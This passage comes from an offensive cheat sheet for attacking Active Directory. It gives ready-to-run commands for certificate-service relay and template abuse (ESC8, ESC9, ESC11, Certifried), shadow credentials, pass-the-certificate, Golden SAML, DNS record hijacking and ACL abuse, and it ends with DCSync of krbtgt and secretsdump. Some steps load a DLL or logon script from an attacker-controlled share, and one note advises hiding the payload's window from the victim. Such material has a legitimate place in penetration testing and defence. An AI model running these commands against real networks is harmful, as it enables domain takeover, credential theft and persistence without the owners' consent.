  impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
  # For a member server or workstation, the template would be "Computer".
  # Other templates: workstation, DomainController, Machine, KerberosAuthentication

  # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
  # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
  git clone https://github.com/topotam/PetitPotam
  python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
  python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
  python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
  python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

  # Use the certificate with rubeus to request a TGT
  Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
  Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

  # Now you can use the TGT to perform a DCSync
  mimikatz> lsadump::dcsync /user:krbtgt
  ```

* **Version 2**: NTLM Relay + Mimikatz + Kekeo
  ```powershell
  impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

  # Mimikatz
  mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

  # Kekeo
  kekeo> base64 /input:on
  kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt

  # Mimikatz
  mimikatz> lsadump::dcsync /user:krbtgt
  ```

* **Version 3**: Kerberos Relay
  ```ps1
  # Setup the relay
  sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

  # Run mitm6
  sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
  ```

* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
  ```powershell
  https://github.com/bats3c/ADCSPwn
  adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
  adcspwn.exe --adcs cs.pwnlab.local
  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
  adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

  # ADCSPwn arguments
  adcs            -       This is the address of the AD CS server which authentication will be relayed to.
  secure          -       Use HTTPS with the certificate service.
  port            -       The port ADCSPwn will listen on.
  remote          -       Remote machine to trigger authentication from.
  username        -       Username for non-domain context.
  password        -       Password for non-domain context.
  dc              -       Domain controller to query for Certificate Templates (LDAP).
  unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
  output          -       Output path to store base64 generated crt.
  ```

* **Version 5**: Certipy ESC8
  ```ps1
  certipy relay -ca 172.16.19.100
  ```


### ESC9 - No Security Extension

**Requirements**

* `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
* Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
* Certificate specifies `Any Client` authentication EKU
* `GenericWrite` over any account A to compromise any account B

**Scenario**

John@corp.local has **GenericWrite** over Jane@corp.local, and we want to compromise Administrator@corp.local. 
Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.

* Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
    ```ps1
    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
    ```
* Change the **userPrincipalName** of Jane to be Administrator. :warning: leave the `@corp.local` part
    ```ps1
    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
    ```
* Request the vulnerable certificate template ESC9 from Jane's account.
    ```ps1
    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
    # userPrincipalName in the certificate is Administrator 
    # the issued certificate contains no "object SID"
    ```
* Restore userPrincipalName of Jane to Jane@corp.local.
    ```ps1
    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
    ```
* Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user. 
    ```ps1
    certipy auth -pfx administrator.pfx -domain corp.local
    # Add -domain <domain> to your command line since there is no domain specified in the certificate.
    ```

### ESC11 - Relaying NTLM to ICPR

> Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

Requirements:
* [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork
* [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork

Exploitation:
1. Look for `Enforce Encryption for Requests: Disabled` in `certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout` output
2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
    ```ps1
    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
    ```

### Certifried CVE-2022-26923

> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

* Find `ms-DS-MachineAccountQuota`
  ```ps1
  python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes  'DC=lab,DC=local' ms-DS-MachineAccountQuota 
  ```
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
  ```ps1
  python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
  certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
  ```
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
  ```ps1
  Rubeus.exe tgtdeleg
  export KRB5CCNAME=/tmp/ws02.ccache
  python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
  ```
* Set the `dNSHostName` attribute to match the Domain Controller hostname
  ```ps1
  python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]'
  python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
  ```
* Request a ticket
  ```ps1
  # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
  certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
  ```
* Either use the pfx or set a RBCD on your machine account to takeover the domain
  ```ps1
  certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10

  openssl pkcs12 -in dc.pfx -out dc.pem -nodes
  python bloodyAD.py -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$'
  getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'   
  secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 
  ```


### Pass-The-Certificate

> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

* Windows
  ```ps1
  # Information about a cert file
  certutil -v -dump admin.pfx

  # From a Base64 PFX
  Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

  # Grant DCSync rights to an user
  ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
  # To restore
  ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
  ```
* Linux
  ```ps1
  # Base64-encoded PFX certificate (string) (password can be set)
  gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
  ​
  # PEM certificate (file) + PEM private key (file)
  gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

  # PFX certificate (file) + password (string, optionnal)
  gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

  # Using Certipy
  certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
  certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
  ```


## UnPAC The Hash

Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.

* Windows
    ```ps1
    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    ```
* Linux
    ```ps1
    # Obtain a TGT by validating a PKINIT pre-authentication
    $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    
    # Use the session key to recover the NT hash
    $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
    ```


## Shadow Credentials

> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.  When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

**Requirements**:
* Domain Controller on (at least) Windows Server 2016
* Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured
* PKINIT Kerberos authentication
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object

**Exploitation**: 
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
  ```powershell
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  Whisker.exe list /target:computername$
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
  Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
  # Removes a key credential from the target object specified by a DeviceID GUID.
  Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
  ```

- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
  ```bash
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
  # Removes a key credential from the target object specified by a DeviceID GUID.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
  ```

**Scenario**:

- **Scenario 1**: Shadow Credential relaying
  - Trigger an NTLM authentication from `DC01` (PetitPotam)
  - Relay it to `DC02` (ntlmrelayx)
  - Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
  - Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`

- **Scenario 2**: Workstation Takeover with RBCD
  ```ps1
  # Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

  # Set up ntlmrelayx to relay authentication from target workstation to DC 
  proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

  # Execute printer bug to trigger authentication from target workstation 
  proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file

  # Get a TGT using the newly acquired certificate via PKINIT 
  proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

  # Get a ST (service ticket) for the target account 
  proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

  # Utilize the ST for future activity 
  export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
  proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
  ```

## Active Directory Groups 

### Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.

>  The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with `AdminCount=1`.

```powershell
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()
```


### AdminSDHolder Abuse

> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

```powershell
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
```


### Abusing DNS Admins Group

> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

:warning: Require privileges to restart the DNS service.

* Enumerate members of DNSAdmins group
    ```ps1
    Get-NetGroupMember -GroupName "DNSAdmins"
    Get-ADGroupMember -Identity DNSAdmins
    ```
* Change dll loaded by the DNS service
    ```ps1
    # with RSAT
    dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
    dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll

    # with DNSServer module
    $dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
    $dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
    Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
    ```
* Check the previous command success
    ```ps1
    Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
    ```
* Restart DNS
    ```ps1
    sc \\dc01 stop dns
    sc \\dc01 start dns
    ```

### Abusing Schema Admins Group

> The Schema Admins group is a security group in Microsoft Active Directory that provides its members with the ability to make changes to the schema of an Active Directory forest. The schema defines the structure of the Active Directory database, including the attributes and object classes that are used to store information about users, groups, computers, and other objects in the directory.


### Abusing Backup Operators Group

> Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group cannot be renamed, deleted, or moved. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.

This groups grants the following privileges :
- SeBackup privileges
- SeRestore privileges

* Get members of the group:
  ```ps1
  PowerView> Get-NetGroupMember -Identity "Backup Operators" -Recurse
  ```
* Enable privileges using [giuliano108/SeBackupPrivilege](https://github.com/giuliano108/SeBackupPrivilege)
  ```ps1
  Import-Module .\SeBackupPrivilegeUtils.dll
  Import-Module .\SeBackupPrivilegeCmdLets.dll

  Set-SeBackupPrivilege
  Get-SeBackupPrivilege
  ```
* Retrieve sensitive files
  ```ps1
  Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite
  ```
* Retrieve content of AutoLogon in the HKLM\SOFTWARE hive
  ```ps1
  $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', 'dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
  $winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
  $winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"}
  ```
* Retrieve SAM,SECURITY and SYSTEM hives
  * [mpgn/BackupOperatorToDA](https://github.com/mpgn/BackupOperatorToDA): `.\BackupOperatorToDA.exe -t \\dc1.lab.local -u user -p pass -d domain -o \\10.10.10.10\SHARE\`
  * [improsec/BackupOperatorToolkit](https://github.com/improsec/BackupOperatorToolkit): `.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK`


## Active Directory Federation Services

### ADFS - Golden SAML

**Requirements**:
* ADFS service account
* The private key (PFX with the decryption password)

**Exploitation**:
* Run [mandiant/ADFSDump](https://github.com/mandiant/ADFSDump) on AD FS server as the AD FS service account. It will query the Windows Internal Database (WID): `\\.\pipe\MICROSOFT##WID\tsql\query`
* Convert PFX and Private Key to binary format
    ```ps1
    # For the pfx
    echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
    # For the private key
    echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin 
    ```
* Create the Golden SAML using [mandiant/ADFSpoof](https://github.com/mandiant/ADFSpoof), you might need to update the [dependencies](https://github.com/szymex73/ADFSpoof).
    ```ps1
    mkdir ADFSpoofTools
    cd $_
    git clone https://github.com/dmb2168/cryptography.git
    git clone https://github.com/mandiant/ADFSpoof.git 
    virtualenv3 venvADFSSpoof
    source venvADFSSpoof/bin/activate
    pip install lxml
    pip install signxml
    pip uninstall -y cryptography
    cd cryptography
    pip install -e .
    cd ../ADFSpoof
    pip install -r requirements.txt
    python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint https://www.contoso.com/adfs/ls
    /SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
    ```

Other interesting tools to exploit AD FS: 
* [WhiskeySAML](https://github.com/secureworks/whiskeysamlandfriends/tree/main/whiskeysaml)


## Active Directory Integrated DNS

ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.

* Enumerate all records using [dirkjanm/adidnsdump](https://github.com/dirkjanm/adidnsdump)
    ```ps1
    adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp)
    ```
* Query a node using [dirkjanm/krbrelayx](https://github.com/dirkjanm/krbrelayx)
    ```ps1
    dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy)
    ```
* Add a node and attach a record
    ```ps1
    dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController
    ```

The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network.

```ps1
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y
```


## Abusing Active Directory ACLs/ACEs

Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).

```powershell
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
```

### GenericAll

* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group : 
	* On Windows : `net group "domain admins" hacker /add /domain`
	* On Linux:
		* using the Samba software suite : 
		`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
		* using bloodyAD: 
		`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`

* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
  ```powershell
  # Check for interesting permissions on accounts:
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

  # Check if current user has already an SPN setted:
  PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname

  # Force set the SPN on the account: Targeted Kerberoasting
  PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}

  # Grab the ticket
  PowerView2 > $User = Get-DomainUser username 
  PowerView2 > $User | Get-DomainSPNTicket | fl
  PowerView2 > $User | Select serviceprincipalname

  # Remove the SPN
  PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
  ```

* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
	* On Windows:
	```powershell
	# Modify the userAccountControl
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose

	# Grab the ticket
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username

	# Set back the userAccountControl
	PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	```
	* On Linux:
	```bash
	# Modify the userAccountControl
	$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True

	# Grab the ticket
	$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

	# Set back the userAccountControl
	$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False
	```


### GenericWrite

* Reset another user's password
	* On Windows:
		```powershell
		# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
		$user = 'DOMAIN\user1'; 
		$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
		$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
		$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
		Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
		```
	* On Linux:
		```bash
		# Using rpcclient from the  Samba software suite
		rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
		
		# Using bloodyAD with pass-the-hash
		bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
		```

* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`

#### GenericWrite and Remote Connection Manager

> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
>  
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

```powershell
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

### WriteDACL

To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`

* WriteDACL on Domain:
	* On Windows: 
	  ```powershell
	  # Give DCSync right to the principal identity
	  Import-Module .\PowerView.ps1
	  $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
	  $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
	  Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
	  ```
  	* On Linux:
  	```bash
	# Give DCSync right to the principal identity
	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
	
	# Remove right after DCSync
	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
	```
  
* WriteDACL on Group
  ```powershell
  Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
  net group "INTERESTING_GROUP" User1 /add /domain
  ```
  Or  
  ```powershell
  bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp
  
  # Remove right
  bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
	```

### WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

```powershell
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
```
Or  
```powershell
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
```

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.


### ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section.

```powershell
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
```
Or for a given computer  
```powershell
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```


### ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

```powershell
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```
Or  
```powershell
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
```

### ForceChangePassword

An attacker can change the password of the user this ACE applies to:
* On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):
```powershell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
